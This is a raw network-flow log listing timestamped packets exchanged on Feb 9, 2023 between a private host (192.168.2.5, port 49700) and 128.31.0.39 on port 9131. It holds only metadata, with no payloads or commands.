Feb 9, 2023 00:59:58.499191046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499202967 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499217033 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499219894 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499245882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499258041 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499272108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499275923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499291897 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499298096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499316931 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499326944 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499351025 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499352932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499388933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499388933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.531932116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.531968117 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.532047987 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.532128096 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.533629894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533693075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533739090 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533781052 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533781052 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.533781052 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.533812046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533858061 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.533859015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533858061 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.533890963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533920050 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.533920050 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.533924103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.533960104 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.534019947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.599924088 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600049019 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.600056887 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600114107 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600126982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.600179911 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.600187063 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600392103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.600440979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600513935 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600584984 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600589037 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.600631952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600666046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600682974 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.600701094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600737095 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600756884 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.600786924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.600857973 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.629625082 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.632755041 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.632791996 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.632904053 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.634627104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.634785891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.634865999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.634877920 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.634916067 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.634979010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.634985924 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635024071 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635082006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635133982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635169983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635221958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635238886 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635271072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635294914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635330915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635374069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635406017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635432005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635481119 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635508060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635515928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635566950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635658026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635677099 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635724068 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635754108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635767937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635801077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635812998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635854959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635859013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635898113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635914087 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.635925055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635947943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.635979891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636008024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636010885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636046886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636049032 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636087894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636101007 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636126995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636157036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636184931 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636219025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636248112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636270046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636298895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636323929 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636328936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636356115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636384964 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636384964 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636414051 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636444092 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636451006 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636472940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636502028 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636502981 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636528969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636557102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636557102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636584997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636611938 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636611938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636639118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636658907 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.636666059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.636714935 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.701764107 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.701967955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702028990 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702064991 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702066898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.702100039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702109098 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.702133894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702173948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702191114 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.702302933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702344894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702368021 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.702570915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702635050 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.702652931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702677965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702716112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702763081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702784061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702807903 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702877045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702909946 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702930927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702914000 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.702970982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.702914000 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.702914000 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703011990 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703063011 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703095913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703098059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703095913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703135014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703138113 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703156948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703181028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703203917 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703233004 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703233004 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703252077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703274012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703306913 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703310966 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703356028 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703361034 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703423977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703460932 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703495026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703532934 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703571081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703589916 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703614950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703641891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703643084 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703684092 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703700066 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703701973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703775883 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703824997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703860044 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703864098 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703897953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703946114 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.703949928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.703984022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704009056 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704071999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704123974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704137087 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704185963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704246998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704255104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704302073 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704338074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704371929 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704396963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704437017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704452991 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704472065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704524040 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704536915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704581022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704607964 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704627037 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704653025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704700947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704727888 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704776049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704802036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704838991 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704864979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704876900 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704920053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.704926968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.704977036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705034018 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705066919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705115080 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705172062 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705178022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705208063 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705262899 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705288887 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705321074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705357075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705383062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705410957 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705420971 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705465078 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705492973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705518961 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705557108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705593109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705609083 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705627918 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705638885 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705662012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705699921 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705754995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705790997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705840111 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.705862999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705909014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.705991983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706002951 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706032038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706099033 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706099987 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706160069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706228971 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706285954 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706327915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706366062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706394911 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706403971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706453085 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706459045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706533909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706572056 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706605911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706607103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706657887 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706666946 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706804991 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706867933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.706897020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.706978083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707031965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.707067966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707127094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707164049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707182884 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.707217932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707257986 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.707333088 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707443953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707483053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707511902 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.707520008 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707562923 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707578897 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.707667112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707717896 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707736969 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.707758904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707818031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.707905054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.707963943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708014965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.708034039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708193064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708292961 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.708455086 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708543062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708594084 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708597898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.708705902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708745956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708760023 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.708832979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708884954 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.708894968 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.708973885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709032059 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709045887 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709085941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709134102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709209919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709280014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709316969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709352016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709424973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709474087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709542036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709574938 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709594965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709613085 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709634066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709672928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.709677935 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.709757090 CET	9131	49700	128.31.0.39	192.168.2.5
